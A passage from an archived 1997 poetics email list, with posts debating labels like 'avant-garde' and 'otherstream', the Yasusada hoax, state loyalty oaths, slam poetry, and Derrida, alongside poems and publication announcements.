'First, you must labor for less. These space creatures understand finance and want to increase profits from industry of all kinds. Second, no one may speak against my Administration.' The President continued with a list of Alien demands, the text of which can be found on today's Page Three. There will be a substantially different format to our newspaper starting tomorrow."

as a footnote : this week's World News, along with the revelation of Elvis's sexual impotence & fondness for fondling fourteen-year-olds, carries the transcript of the last words (found on the Alien equivalent of a black box), translated from Alienese!, of the crew of the space craft doomed to crash at Roswell in 1947. I was interested to note that one of them cried "God forgive me for my sins!" while another gasped "We cant crash! My wife--my children--".

David

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211. **Layne Russell**

Re: Anne-Marie Albiach tribute in San Francisco

Mon 11 Aug 1997

Hugh,

> *Two poems after listening to Anne-Marie Albiach*
>
> *1.*
>
> *he discerns her portrait in the punctuation from her book. the type of energy found in a spiral on a page. response to different works. the excavation of a story. how it happened as an unfolding of leaves. as in spring or the manuscript as it becomes a book. she says pictures. photographs. points stretched in dark weight. like ink as it becomes words and punctuation. as a torch in the glass of night. a mime of absence. so it is in voice several times. which was written and revised until it no longer resembled speech. a fall or an answer. to repeat each symbolic body until they are numerous. white stars in the evening sky.*
>
> *2.*
>
> *to live in steps. by leaves in a book about to be printed. in the letters dead people write each spring. light gathers in memory where the pictures were lost. consider how he was reading. the hour of things. as equated values. in labor or goods created. to count like knuckles. words in fists. in muscles which rest. in the absence of threat night slips in. in the creation of darkness through petty acts and great machines. of broad and hopeless spaces. a promise which was discontinued. as it is all the same. ideas which erase their erasers. in time as it hurries. like a transistor between ghosts and he who is merciless.*

I enjoyed this very much, wonderful stuff.

Layne

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212. **Layne Russell**
Re: when you do your own policing
Mon 11 Aug 1997

Mark, fabulous. I loved your post. I nominate it for "best of the thread."

gratefully,

Layne Russell
Santa Rosa, CA (david bromige land)

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213. **Mark Prejsnar**
Re: "avantgarde"
Mon 11 Aug 1997

On Fri, 8 Aug 1997, The Ultimate Autodidact wrote:

> *Don't we all agree that it's a useless word? Some people form groups and*

Unfortunately, not quite....You'd be surprised..Lots of casual statements, prefaces, essays etc. by people in the otherstream use A-G, tho' admittedly they use "experimental" and "innovative" a lot more..The problem being how to make clear to a reasonable range of folks what area of contemporary poetry practice one is talking about....A problem that still ain't been resoved, certainly not by me. I dislike a-g and experimental the most, but "innovative" makes me uneasy too..

Mark P.

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214. **Mark Prejsnar**
Re: "*alternative*avant-garde"
Mon 11 Aug 1997

Robert A.--

The idea of using "alternative" is interesting..Not one I'd noticed, as my previous posts make clear..

I have a whole other set of problems with that, than I have with the A-G/experimental/innovative triad...

It seems to me that "alternative" primarily valorizes the mainstream. As writing by Susan Howe and Clark Coolidge is very important to me, and writing by (say) Stephen Dobyns and Tess Gallagher of almost no interest whatsoever, it seems weird and hopelessly confusing to call the more important work

"alternative." One of these groupings has more institutional support thant the other (is more "acadominent," in fact); but that really doesn't make it "primary" and the other "alternative." Merely fatter, lazier and more overfed....

You should always use words in a way that reflects your own values and judgments, and in that respect it seems to me that Howe and Coolidge are primary, and many lionized mainstreamers a (very inadequate) alternative..

Mark P.
Atlanta

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215. Mark Prejsnar
Re: to be or not to be (loyal)
Mon 11 Aug 1997

This is a real difficult one. Loyalty oaths....

No they **NEVER** went away, not ever, and they have hung on in *many* states. I've held about 5 major library jobs so far in my work-life; the only one where I was a full state employee (Cornell being a weird hybrid of state and private) was at the University of Michigan, my first after-college job. That was in 1978, and yup there sure was a loyalty oath just like this one you've quoted....

Needless to say such barbarism ought to fought in any way possible; the rest of the world sees these things (rightly) as an exceptionally insane instance of U.S. right-wing dementia....

But for most of us, refusing is not one of the ways possible. I signed, I hardly had any choice did I? I've always been working-class, and poor, and there weren't any other jobs available that were going to keep a roof over my head. During the next four years, I helped build the left in Michigan and at the U. of M. in many different ways, including working on a clericals organizing drive that came within a few votes of winning (in a situation where the UAW had been de-certified a few years before, and getting a union in was thought to be impossible..)

It seems to me you fight where you can, and where you can win. If you have the slightest chance of surviving while fighting the loyalty oath, by all means go for it....But I'm one life-long socialist who signed.

Mark P.
Atlanta

On Sat, 9 Aug 1997, charles alexander wrote:

> *Dear Poetics:*

I've just been hired to teach at the University of Arizona Extended University -- a course on small presses, and later this year, a creative writing class.

Today I received in the mail, among other contract materials, a "loyalty oath" to sign. I had thought these were a thing of the past. And I thought maybe people on this list could advise me -- have others here had to sign such things, has anybody refused, is this only an Arizona conservate thing, or ??? Particularly, anyone on this list in Arizona -- have you had to sign such a thing, or have you refused to sign such a thing, and what if any were the consequences? But I'm interested if this is required in other states as well. Are you a Minnesota loyalist, Maria? or anyone else anywhere else? Some answer soon would be great, so I can weigh my options before I sign or don't sign. (and yes, I know, I should probably talk with a lawyer about this)

For the record, apprently they would withhold compensation "unless and until such officer or employee does so take and subscribe to the form of oath of affirmation set forth in this section."

And that oath reads:

I, _____ do solemnly swear (or affirm) that I will support the Constitution of the United States and the Constitution and laws of the State of Arizona; That I will bear true faith and allegiance to the same, and defend them against all enemies, foreign and domestic, and that I will faithfully and impartially discharge the duties of the office of _____ according to the best of my ability, so help me God (or, so I do affirm).

_____
(Signature of employee)

thanks,

charles

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216. **Maria Damon**
Re: Yasusada
Mon 11 Aug 1997

At 3:00 PM +0700 8/11/97, Rebecca Weldon wrote:
>Having read the Boston Review articles on Yasusada, I am saddened by the
>waste of excellent literary space and effort on this hoax rather than on
>scores of Asian poets who work in obscurity. Whatever cynical motive
>inspired the perpetrator, I hope it has been satisfied. I believe a point
>of dubious value was made and the issue should be allowed to rest.

amen

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217. **Maria Damon**
Re: the misery of poetry
Mon 11 Aug 1997

At 10:31 PM -0700 8/10/97, Robert Hale wrote:
>What Bataille calls "the misery of poetry" should inform why it is that we
>don't see too much actual poetry on the poetics list (see Literature and
>Evil). To turn unsatisfaction into a permanent object is a hefty job for the
>ephemeral e-mail, which renders language into deletable scripts. Do eyes
>scan the screen the same way that they read the page? And let's answer that
>by NOT getting into any banal cyber vs book space threads.

i can't help a little whining here: speaking of banal cyber/book threads...i've been applying to the MN humanities commission for some $ for our conference, and aftre having handed in a first draft was sent a model, grant-winning application as a paradigm to follow. guess what it was about, yes, "in this day of cyber etc what is the status of poetry, let's get galway kinnell to remind us that poetry is a great holdout against electronic etc..." oh well.

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218. **dbkk**
Assistance requested
Mon 11 Aug 1997

Hello everyone on Poetics List, this is Kevin Killian. Please help me if you can! In connection with my upcoming biography of Jack Spicer, I have to secure permission to reprint unpublished material by the following writers:

Alfred Bester, e.e. cummings, Denise Levertov, Dorothy Livesay, Robert Lowell, Marianne Moore, Frank O'Hara.

Can anyone clue me in about, what are the names and addresses of the literary executors of these estates?

Some of you must have had similar problems, how did you handle them? Please back channel me, I don't know who else to turn to, had no idea modernism was so difficult! Thanks---

Kevin K.

↑ Index

219. James Finnegan
*Re: "*alternative*avant-garde"*
Mon 11 Aug 1997

In a message dated 97-08-11 02:42:58 EDT, you write:

> *what do you think about publishing earlier versions of poems in order to show and understand the process of writing? I keep wanting to do that with RWC magazine and the poets are too fastidious to oblige me*

Very worthwhile for other writers and writing students. Extremely useful for critics and scholars. Readers, if a litmag/book/website has these beyond a population of other writers and literati, may be less taken with this enterprise.

Obviously my assertion (re experimental) is flawed in that it's biased toward

"the end product." If a writer cares not a wit for "the done-thing," then all

his/her writing may be "experimental" to some degree. Though the word will always carry with it a connotation of moving toward some endpoint-- yes/no, success/failure. (What is the right word to describe writing that's not vested in any qualitative endpoint? Playful, random--most descriptives seem too light or dismissive.) When the writing stops, as it must somewhere/time, even if this end occurs only upon the writer's death, or though a work is published as an "experiment" or "from Work In Progress," there is this tendency to assess and to judge.

Finnegan

↑ Index

220. Joe Amato/Kass Fleisher
Re: the misery of poetry
Mon 11 Aug 1997

maria, that really IS banal...

mebbe some of the more acclaimed poets out there who rail against emedia should spend a little time getting their feet wet in same (not that the radio or tv,

say, are UNelectronic devices---i think some may have forgotten that these items are plugged in too)... personally, i think the resistance given voice to (by nobel-laureate poets, for example) to things electronic reflects their having intuited that the earth is moving under their feet...

best,

joe

↑ Index

221. **James Finnegan**
Re: The Otherstream
Mon 11 Aug 1997

In a message dated 97-08-10 13:24:43 EDT, Bob wrote:

> *both Slam Poetry and Language Writing are*
> *KNOWNSTREAM, the opposite of otherstream because they, or poetry in all*
> *essential respects identical to it in the case of Slam Poetry, are in*
> *the establishment press anthologies. Slam Poetry is probably mainstream*
> *(a substream of knownstream) as well; Language Writing is not.*

I stand corrected in misapplication of your "otherstream." But I must now correct you on the point that Slam Poetry is mainstream. Having sat thru the four hour '97 Slam National Finals last night, I can tell

you there was nothing like a Merwin, Rich, Ashbery, Gluck, Tate, et al, in the house. There was much loud & light verse, the sentimental & the insentient, the raucous & rimed, the goodspirited and godforsaken, the crude & the cute. All in all, despite a numbing length akin to the Academy Awards ceremony, it was a great show. One could argue abt the literary quality of some of the poems (scripts), but the performance level was firstrate.

Slam, as I said, is not "avant-garde" in terms of writing. However, Slam is nothing one could/should mistake for contemporary mainstream poetry.

BTW, The Boogie Man from Cleveland OH won the Individual '97 National Slam Championship, with D.J. Renegage of Washington DC runner up.

The Team Championship was won by Mouth Almighty (Taylor Mali, Beau Sia, Reggie Cabico, and Evert Eden); best of the 36 competing teams. Los Angeles was second, Cleveland third.

Incidentally, Henry Taylor, Pulitzer Prize winning poet for his book The Flying Change, did enter as an individual. He didn't even make it to the semi-final round.

Finnegan

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222. Michael Coffey
Derrida and Language Writing -Reply
Mon 11 Aug 1997

dear ira:

i wrote an essay about 10 years ago comparing Steve McCaffery's notion of "General Economy" to JD's theory of writing (grammatology); it was published in the toronto-based Open Letter issue devoted to Steve's work. This piece centered less on the textual comparison's between the two in favor a comparison of theoretical positions. As i recall it, mccaffery's privileging (yup, that's the word i used) of the "excess," the "waste" in a general economy of language and jd's interest in what is contained in the differance that rides above actual langauge.

i have a copy at home that i can fax to you if you are intersested.

>>> Ira Lightman <[redacted]> 08/11/97 11:37am >>>
Hi folks

Is anyone out there working on links and comparisons
between the *textual practices/compositions* of
Derrida and any of the Language Writers?

↑ Index

223. charles alexander
Re: "avantgarde"
Mon 11 Aug 1997

> *Unfortunately, not quite....You'd be surprised..Lots of casual statements, prefaces, essays etc. by people in the otherstream use A-G, tho' admittedly they use "experimental" and "innovative" a lot more..The problem being how to make clear to a reasonable range of folks what area of contemporary poetry practice one is talking about....A problem that still ain't been resoved, certainly not by me.*

I don't quite know who your "reasonable range" might include, but what you propose, making CLEAR to people who will not automatically know about the variety of practices out there, what it is one is talking about -- is admirable, is a constant challenge, and is damn near impossible. This is a challenge for all the presses here which write grant proposals, as often, particularly on local panels, we are judged by people who have a very limited sense of the poetry out there -- they are likely to know something about Allen Ginsberg, Gary Snyder, Maya Angelou, perhaps a few local writers, a smattering of pre-1950's poetry (Frost, Sandburg, some Victorian, some Romantic, back to Shakespeare), and not a lot more. How to describe "otherstream" or "language" or "post-objectivist" or other such poetries to these people (and these are people who by and large are

open and want to understand; and they may also be taken to stand for numerous folks we'd like to get to buy our books and come to our readings), to describe in a way that they know what such poetries are and what they are not, yet without requiring them to read more than a few paragraphs of narrative and perhaps a page of examples, is a fairly amazing task. I don't know anyone who has mastered it.

charles

↑ Index

224. **john_lavagnino**
Re: Assistance requested
Mon 11 Aug 1997

| Can anyone clue me in about, what are the names and addresses of the | literary executors of these estates?

Take a look at

http://www.lib.utexas.edu/Libs/HRC/WATCH/

which is the web site for the "Writers and Their Copyright Holders" directory at the U of Texas library.

John

↑ Index

225. **charles alexander**
Re: the misery of poetry
Mon 11 Aug 1997

Oooh, Maria . . . this is an attitude I find all the time in the book arts, where artists and audience want to see the arts of making books by hand as opposed to the technological/information age -- holding up the value of work made by hand over the value of work made by machine, or virtual stuff, etc. It's really an unimaginative attitude, to me insulting to work which might fall on either side of an opposition which is false and harmful.

and yes, I think I even heard, sometime last week, someone quote that phrase about poetry as a "momentary stay against confusion." confusion, of course, being basically anything the person who says such a phrase doesn't like.

charles

> *"in this day of cyber etc what is the status of poetry, let's get galway kinnell to remind us that poetry is a great holdout against electronic etc..." oh well.*

↑ Index

226. Jordan Davis
Comfort levels for solicitation and submission
Mon 11 Aug 1997

Rob --

It's self-protecting, the urge not to post poems the people who don't post poems feel. Do poems feel this way? Texture farming. Miracle gro. The environment rejects "the last best offer".

What's more amazing to me though is the policing of what's permissible in these not-poems. And the will to clarity here. Why not drop the team names and go out and play? Because it's big business, complete with free agents, concession stands, licensing deals. Suggestion for new name for avant-garde poetry: poetry.

All you need is love,
Jordan

PS What is meant by the term "dualism"?

↑ Index

227. KENT JOHNSON
Coolidge
Mon 11 Aug 1997

In a post the other day, someone referred to Clark Coolidge in the past tense. Is Clark Coolidge no longer with us? Information appreciated. thanks, Kent

↑ Index

228. Tenney Nathanson
dum Foucault question
Mon 11 Aug 1997

can anyone tell me where to find the famous but to me forever fugitive site in Foucault where he invents the utopique/atopique heterotopia thing?

thanks

tenney

---

tenney nathanson

[redacted]

http://www.u.arizona.edu/~nathanso/

↑ Index

229. Karen and Trevor
Re: email address inquiry
Mon 11 Aug 1997

Actually, I would like Elizabeth Robinson's email or mail address regarding a magazine also. Can anyone backchannel twice?

Karen McKevitt
[redacted]

Peter Ganick wrote:
>
> hi buffalo listmembers----
> back after a while-----
> an announcement soon regarding potes & poets
> and the zines/texts soon-----
> but for now, i urgently need the email and/or
> snailmail address and/or telephone number
> of elizabeth robinson-----
> she's due for an issue of a.bacus and i've
> misplaced her text-----
> anyone can backchannel would be appreciated-----
> out-----
> peter ganick

↑ Index

230. Ira Lightman
Derrida and Language Writing
Mon 11 Aug 1997

Hi folks

Is anyone out there working on links and comparisons
between the *textual practices/compositions* of
Derrida and any of the Language Writers? Does
anyone find one or the other a more austere or
less representational or more representational
or less austere practice? Derrida can seem to me
to be stylistically close to Stein, although he

more obviously pins his colours to Genet. Is
anyone doing working or thinking on Derrida as
a writer, the way we have recently been discussing
Clark Coolidge as a writer? The way a writing
experiment/ opening out a pun for example / opens
up a terrain? Does anyone feel as I do the desire
to rescue Derrida from those who want to snip up his
works into critical terms (deconstruction, differance,
erasure) which they then re-plant in much more
conventional dull prose? (This is his complaint in
Glas, of how Sartre wants to pick the flowers out of
Genet's work and ignore Genet's composting and tending of
the land). Does anyone enjoy Derrida as a *writer*, as
much as they enjoy a Language Writer as a *writer*?

Best

Ira Lightman
to open

↑ Index

231. LYNES- KATHERINE
Re: to be or not to be (loyal)
Mon 11 Aug 1997

---

we here in new jersey are asked to do the same thing, and have the document notarized [spelling? too hurried to check]... we "may" cross out the words "so help me god" and "swear" and write in the word "affirm." i don't have it right in front of me, but it is similar to what charles alexander posted.... though, i don't remember the "defend against enemy" part being in the new jersey document... i'm not sure about withholding of money etc. if we don't sign, but as an incredibly poor student, pathetic as it may be, i can't afford to find out.

kl

charles alexander wrote:

> Today I received in the mail, among other contract materials, a "loyalty
> oath" to sign. I had thought these were a thing of the past. And I thought
> maybe people on this list could advise me -- have others here had to sign
> such things, has anybody refused, is this only an Arizona conservate thing,
> or ??? Particularly, anyone on this list in Arizona -- have you had to sign
> such a thing, or have you refused to sign such a thing, and what if any
> were the consequences? But I'm interested if this is required in other

> states as well
snip.

> *For the record, apprently they would withhold compensation "unless and until such officer or employee does so take and subscribe to the form of oath of affirmation set forth in this section."*
>
> *And that oath reads:*
>
> *I, _____ do solemnly swear (or affirm) that I will support the Constitution of the United States and the Constitution and laws of the State of Arizona; That I will bear true faith and allegiance to the same, and defend them against all enemies, foreign and domestic, and that I will faithfully and impartially discharge the duties of the office of _____ according to the best of my ability, so help me God (or, so I do affirm).*
>
> _____
> *(Signature of employee)*
>
> *thanks,*
>
> *charles*

↑ Index

232. Daniel Bouchard
Directions to Mass Ave.
Mon 11 Aug 1997

Delighted to announce publication of the third issue of MASS AVE.

The featured poets:

Michael Angelo Tata
Andrew Levy
Sherry Brennan
Kyle Conner
Jennifer Moxley
Fred Muratori
Kary Wayson
Robert Fitterman
Ethel Rackin

Kim Bernstein
Juliana Spahr

57 pages, perfect bound. $6 postage paid.

Also, the Second Issue is still available; featuring

Valerie Hanson
Lisa Jarnot
Marcella Durand
Eileen Corder
Anselm Berrigan
Nava Fader
Larry Price
Dan Luft
Douglas Rothschild
Mary Burger
Drew Gardner
Dave Baptiste Chirot
Daniel Bouchard
Kevin Varrone
WB Keckler
Kim Lyons

56 pages, perfect bound. $6 postage paid.

Get BOTH issues for the bargain price of $10.

Daniel Bouchard
Mass Ave.
PO Box 230
Boston, MA 02117

Thank you. You're beautiful.

[redacted]

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233. Herb Levy
Difficult Modernism (wasRe: Assistance requested)
Mon 11 Aug 1997

Uh, Denise Levertov is probably still in charge of her own estate, as she's not dead yet. When I'm back in Seattle tonight I'll check to see if she's listed in the phone book (though someone else on the list may have a way to contact her).

> *Hello everyone on Poetics List, this is Kevin Killian. Please help me if you can! In connection with my upcoming biography of Jack Spicer, I have*

> *to secure permission to reprint unpublished material by the following writers:*
>
> *Alfred Bester, e.e. cummings, Denise Levertov, Dorothy Livesay, Robert Lowell, Marianne Moore, Frank O'Hara.*
>
> *Can anyone clue me in about, what are the names and addresses of the literary executors of these estates?*
>
> *Some of you must have had similar problems, how did you handle them? Please back channel me, I don't know who else to turn to, had no idea modernism was so difficult! Thanks---*
>
> *Kevin K.*

Herb Levy
[redacted]

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234. Mark Wallace
when you do your own policing
Mon 11 Aug 1997

I'm arriving a little late on this one, but I want to second lb drake's response to Maria Damon's several questions about policing in the avant garde.

I must confess to great boredom over the struggle to define the meaning of the term "avant garde." I think of Wittgenstein: "isn't the value of a word precisely in the looseness of its definition?" The value of avant garde as a term is what the term can be turned to mean by those various groups and individuals interested in using it or getting rid of it, a meaning that CANNOT be final as long as anyone thinks redefinitions of it (or even old definitions of it) can be made to seem worthwhile to them in whatever they're doing. Make it seem something interesting, or not--it's your word if you want it.

But the problem, I feel, especially with the second of Maria's posts is that there is a fairly intense confusion of contexts of disciplinary power. I certainly understand that Maria's comments were not meant as final conclusions, but as queries. So I don't want my comments to be seen as criticisms so much of her as of these particular comments, because I think these comments reflect positions that are, in fact, dangerously common.

Maria asks whether the avant garde polices its borders? And people respond "well what is the avant garde?" and people respond, as I would, well sometimes yes and sometimes no, it depends on the context, the publication, the personalities, etc. But then she offers, AS AN EXAMPLE OF AVANT GARDE

POLICING, TWO EXAMPLES OF THE AVANT GARDE BEING POLICED BY INDIVIDUALS WITH RESPONSIBILITY FOR ACADEMIC PUBLICATIONS. The confusion is important, because I think there's something significant at stake.

I find, in the details of these examples, a number of interesting problems. What does academic "cultural studies" have to do with avant garde writing practices? Why is there no mention of whether she tried publishing her piece on young urban black poets in contexts other than officially sanctioned academic projects? To whom does any value accrue if an article on young black urban poets is published in an academic collection? To speak most broadly, I'm concerned here that there is a large gap between what Maria's comments suggest is at stake ("the avant garde police") in her experiences, and what else, unmentioned, also seems at stake in those experiences.

I find it hard to make my own use of the term "avant garde" flexible enough to include an academic critic with a self-described focus in "cultural studies" who decides to do a book "on a relatively traditional sense of avant garde" as in any sense BEING avant garde. But in any case, it seems clear that the "policing" context to which Maria refers is the policing of the ACADEMIC context, with whatever relation to avant garde practices. And the question for me then becomes "well how is it possible that someone can have their essay turned down by an editor in the academic marketplace and then decide that the fault might lie with avant garde writers," writers who for all I know HAVE NO WRITING APPEARING in the collections Maria mentions.

Besides, are we really sure that magazines like CHAIN, TALISMAN, WITZ and others would have no interest in publishing Maria's more "daring" piece? Have they even been tried? And I can't help thinking that the problem REALLY is that they haven't been tried because publishing an essay in a magazine like that does NOT forward anybody's academic career, so that perhaps it never occured to Maria that there would be any "value" in publishing there in the first place. And if that is an assumption about her concerns that I CANNOT make, at least I can ask her to try those publications because the academic "value" of publishing her piece is NOT the point--the point is having the piece published in a place where it will be read.

I think I wouldn't be spending so much time on this subject if it didn't seem to me at the heart of a problem that seems to haunt this list of late. That problem is this: WHAT IS THE RELATION BETWEEN ACADEMIC PRACTICE AND THE VARIOUS TYPES OF "INNOVATIVE" WRITING PRACTICES THAT WE MAY OR MAY NOT WANT TO LABEL "AVANT GARDE"? And I feel, in fact, that I'm still seeing a great deal of confusion on the subject.

I take the following to be my two basic assumptions: 1) We live in a disciplinary society whose REAL operations of power work from the top on down,

but which also work often because of the unwitting participation of those who might be opposed to such operations if they knew they were involved in them. 2) That one of the main problems of a discplinary society (others too I suppose, but I've never been in them) is that THE SELF-INTEREST OF INDIVIDUAL MEMBERS IN THAT DISCIPLINARY SOCIETY OFTEN BLINDS THEM TO THE CONTRADICTIONS OF THEIR OWN POSITION IN THAT SOCIETY.

Pierre Bourdieu, as many of you certainly know, has in a book like HOMO ACADEMICUS already made it clear that institutional criticism of any kind can ONLY have value when the institutional critic has accurately diagnosed his or her position in the institutional framework. If you don't know who you are, then you can't know other people.

In looking at a number of ideas floating around the list lately, it seems to me that one of the problems that comes from insufficient awareness about one's own social position is THE TENDENCY TO BLAME THE PERSON WHOM YOU PERCEIVE AS ONE STEP ABOVE YOU IN THE SYSTEM, accompanied by an exaggerated sense of that person's power which goes hand in hand with an ignoring of the larger framework. In her post (again, which I don't take as her final position) Maria blames an academic editor, who she misconstrues as "avant garde," but never addresses the contradictions of her own existence in the academic context. But there have been other recent examples: language poets are "academically dominant" because a FEW of them have more academic authority than other poets, and a some of them have made it into anthologies that other people have NOT made it into. A real advantage? Well, perhaps yes, assuming that more than a few people in an academic system of some thousands teach such work at all. But isn't there someone higher up to take on than the 100 people in academic positions who just might have potential affinity with what you do?

There are a myriad of possible takes on whether "avant garde" activity can have any real place in the (currently disciplinary and standardizing) environment of the literary academy. I take recent writing by Tom Mandel and Ron Silliman to be saying no, such a place is not possible at all. Because I like teaching, and because someone has to teach people about poetry at some point, and because I'd rather it be me than, say, J.D. McClatchey, I think some intervention is possible, especially on the level of teaching. When it comes to academic publishing, the question seems whether publishing in the standardized form of the academic marketplace can further the concerns of "avant garde" writing and writers? I'm tempted to say no, but also tempted to say that, at times, a few standard academic articles and books pointing in the direction of less standardized work may help bring attention to such poetries.

OF COURSE avant garde writers do some level of policing; the U.S. is a country in which, with the occasional exception, the only way to make a living at all is to police somebody. If you've got a way out of that, great. If like Maria, you probably don't, perhaps the best you can do is IN THE ACT OF POLICING TO MAKE IT EXPLICIT THAT YOU ARE POLICING AND IN SO DOING CALL YOUR OWN POLICING INTO QUESTION, AND BE CLEAR AT ALL TIMES THAT YOU LIVE IN A SOCIETY WHICH IS FORCING YOU TO POLICE. Perhaps you would not be policing otherwise, right? I mean, who knows? In another place, Maria might be able to write the way she wants to write, on the subjects she wants to write about, and be granted the right to make a living simultaneously. And so would everybody else, whether they thought of themselves as critics, poets, or whatever. What a cool concept!--too bad it's not in the works.

But until then, constant vigilance about one's own positioning in the disciplinary framework seems to me crucial to saying anything about poetry or anything else.

Speaking to you, currently, as an adjunct who publishes books of poetry and articles in non-academically authorized journals and who still thinks he can do a better job teaching than most of the academic critics who get better teaching jobs because they publish in academic journals (present company all excluded, of course), and who also, sometimes, tries to publish critical pieces about innovative writing in academic journals but usually fails because he either doesn't want to do it the right way, or can't, or just hasn't figured out how best the problem can be solved, save by getting other people to change their minds--

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

235. **mark weiss**
Re: the misery of poetry
Mon 11 Aug 1997

An extreme example: I'm translating a Cuban poet who has just moved to Spain after 30 years' residence in NY. Email would make my life a lot easier, but this otherwise normal and pleasant man doesn't believe in typewriters, let alone computers.

At 09:56 AM 8/11/97 -0500, you wrote:
>maria, that really IS banal...
>
>mebbe some of the more acclaimed poets out there who rail against emedia
>should spend a little time getting their feet wet in same (not that the
>radio or tv, say, are UNelectronic devices---i think some may have
>forgotten that these items are plugged in too)... personally, i think the
>resistance given voice to (by nobel-laureate poets, for example) to things
>electronic reflects their having intuited that the earth is moving
>under their feet...
>
>best,
>
>joe
>
>

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236. **mark weiss**
Re: "*alternative*avant-garde"
Mon 11 Aug 1997

That "mainstream" stuff--I tend to shorthand it as "New Yorker Poetry" or "Iowa School." Not completely accurate, but you get the idea.

At 08:17 AM 8/11/97 -0400, you wrote:
>Robert A.--
>
>The idea of using "alternative" is interesting..Not one I'd noticed, as my
>previous posts make clear..
>
>I have a whole other set of problems with that, than I have with the
>A-G/experimental/innovative triad...
>
>It seems to me that "alternative" primarily valorizes the mainstream. As
>writing by Susan Howe and Clark Coolidge is very important to me, and
>writing by (say) Stephen Dobyns and Tess Gallagher of almost no interest
>whatsoever, it seems weird and hopelessly confusing to call the more
>important work "alternative." One of these groupings has more
>institutional support thant the other (is more "acadominent," in fact);
>but that really doesn't make it "primary" and the other "alternative."
>Merely fatter, lazier and more overfed....
>

>You should always use words in a way that reflects your own values and
>judgments, and in that respect it seems to me that Howe and Coolidge are
>primary, and many lionized mainstreamers a (very inadequate) alternative..
>
>Mark P.
>Atlanta
>
>

↑ Index

237. **Hank Lazer**

Re: new e-mail address

Mon 11 Aug 1997

---

for George Hartley, who asked me to alert the Poetics List:

[redacted]

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238. **Akitoshi Nagahata**

Re: Yasusada's existence

Mon 11 Aug 1997

>By the way, the Asahi Shimbun article I mentioned did not appear on
August 6, as I was informed it would. I'll send a note if and when it
does, as there is an English language edition of the Asahi and they
have a web-site. Don't know if it will appear in English too, but
will post address if so.
in rear-garde spirit,
Kent

The yasusada article appeared in the Asahi (the evening edition) on August 9th, under an article about the memorial ceremony for the Nagasaki bombing with a picture of elederly Japanese Christians praying in the church. (You can see the picture in the web version of the Asahi.) I don't know if the yasusada article will be published in English.

Akitoshi Nagahata

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239. Rachel Levitsky
*Re: "*alternative*avant-garde"*
Mon 11 Aug 1997

James--I think that publishing drafts, experimentations is an excellent idea and only boring for reader when it is impossible to read or make sense of. Ther are some examples. Lungful Magazine(Brendan Lorber), I believe, has this as part of the format. Audre Lorde published revised editions of poems that had already been published in the volume _Undersong_--which is an experiment that includes the reader. Especially as folks who are experimenting form, the question of how we arrive is highly pertinent, and when it's finished does it really feel finished, or to quote someone I'm not sure who, temporarily abandoned. Personally, I've seen finished poems become very different vis a vis size, form, shape--especially if I give them enough time.

Here's one that is half the size of it's original, which was read and submitted in it's original form and still changing it's form:

Dream Vagueries

Dreams pass
leaving their subject
floods, daddy warbucks, Victoria Lake,
occasional

colors: stolen ivory (far away fragile arms hold & rock)
almond joy (breakfasted nipples,
omelettes _and_ french toast)
yellow moon (loose shattered screams
screams
)
baby blue sweat (tautwhitemound/you fit) soft

charcoal (shadows form of two, then -1-

tangerine addiction (you, my tart)

###
thanks for your comments--rachel

↑ Index

240. Layne Russell
Re: Ironies of Policing
Mon 11 Aug 1997

Kent Johnson remarked:

> *Now will David Bromige please jump in and say something funny so we can all be friends again?*
> *Kent*

David was busy tonight giving a reading with Dan Featherston of Tuscon...a cozy, intimate affair in the back room of a Santa Rosa coffee house called Higher Grounds, home of the Russian River Writers Guild readings for some time. (David read some wonders retrieved from email and lists...and some of his poetry of course. Both David and Dan gave us a very good night.)

Layne

↑ Index

241. Layne Russell
Re: poem lost & found
Mon 11 Aug 1997

---

loved it!

Layne

↑ Index

242. George Thompson
Re: when you do your own policing
Mon 11 Aug 1997

I agree with Layne Russell that Mark Wallace's recent posting was a gem. It prompts me to make two small points, not quite related to his, that I hope may be relevant anyway:

First, 'professionally speaking', I myself work in the intellectual backwater otherwise known as "Vedic studies" -- rooted in 19th cent. philology, comparative linguistics, etc. -- *way* out of date. Vedicists are probably even more conservative than your standard average Classicist doing Greek or Latin [really!]. So what could we have to say about the avant garde?

Well, an interesting observation was made quite a while ago by a French Vedicist [one of the best ever], Louis Renou. In an overview of the state of the art, circa the 50's, he suggested that the notoriously obscure & often unintelligible poetry of the Rigveda had been made somewhat more accessible *as a result of our increasing familiarity with avant garde poetries of the 20th century*! His point was that such poetries had somehow managed to loosen the grip of classical Euro- syntax and logic on our minds so that we had become more capable of hearing the *very old* again on its own terms, instead of trying to read it according to our own logic.

Another Sanskritist once commented, after reading Renou's translations of the Rigveda into French, that they reminded him of Cocteau's film _Orpheus_ [I think the film has been mentioned on the list recently?], in which that arch-poet Orpheus receives poetic transmissions over a car radio: Renou's translations seemed to him like a similar sort of weird 'transmission.'

Whatever the avant garde is, *this* seems to me to be one of its important functions.

Second, 'speaking professionally' again, I teach one of those standard "intro. to world lit" courses, but since this one is targeted at art school students I've had the opportunity to dwell on terms like "modernism", "post-modernism", and yes "avant-garde". My experience is that students are not very familiar with such terms and they need very *basic* help with them.

I have to confess that I tend to characterize the notion 'avant garde' as a 'modernist' notion, rather than a 'post-modernist' one. That is, I suggest to my students that the notion 'avant garde' is rooted in a particular historical period, and I *ask them*: do you relate to this notion? And they tend to say 'no way -- it's arrogant bullshit!!' My students tend to be post-post-modernist.

Have I been misinforming my students?

George

↑ Index

243. KENT JOHNSON
Ironies of Policing
Mon 11 Aug 1997

On 8/11, Rebecca Weldon wrote:

> *Having read the Boston Review articles on Yasusada, I am saddened by the waste of excellent literary space and effort on this hoax rather than on scores of Asian poets who work in obscurity.*

And on 8/11 Maria Damon added:
>amen

I am saddened by this waste of excellent literary space on the Buffalo Poetics discussion list. Surely Rebecca Weldon and her respondent in the pew could have devoted themselves instead to writing a review of the scores of Asian poets who work in obscurity.

Kent

↑ Index

244. charles alexander
Re: Ironies of Policing
Mon 11 Aug 1997

I am wasting more space -- but this response seems small to me. If you don't like Rebecca and Maria presenting a different point of view, Kent, say so and say why -- but please don't resort to what seems like a nasty defensiveness. Most people here obviously are interested in the Yasusada affair, as it's remained a topic of the list off and on for quite some time. But those who wish it wasn't such a topic, I think, should be welcome to say so. It doesn't sound like preaching to me, despite the amen.

charles

> *I am saddened by this waste of excellent literary space on the Buffalo Poetics discussion list. Surely Rebecca Weldon and her respondent in the pew could have devoted themselves instead to writing a review of the scores of Asian poets who work in obscurity.*
>
